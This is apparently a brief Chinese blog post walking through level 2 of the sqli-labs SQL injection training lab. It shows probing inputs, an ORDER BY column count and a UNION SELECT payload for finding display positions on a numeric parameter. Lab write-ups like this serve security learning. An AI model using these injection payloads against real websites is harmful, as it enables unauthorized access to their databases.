LESS-2
和第一关步骤一样,先判断
输入
/?id=1
/?id=2
/?id=1'
输入1,2正常回显但加个单引号报错,说明是数字型,先用order by 判断栏目数量(这里省略),然后再爆显示位
/?id=1 order by xxx
/?id=-1 union select 1,2,3
开始搞事!!!!!!!!!
标签:LESS,id,labs,sqli,master,order From: https://www.cnblogs.com/Zx770/p/17429563.html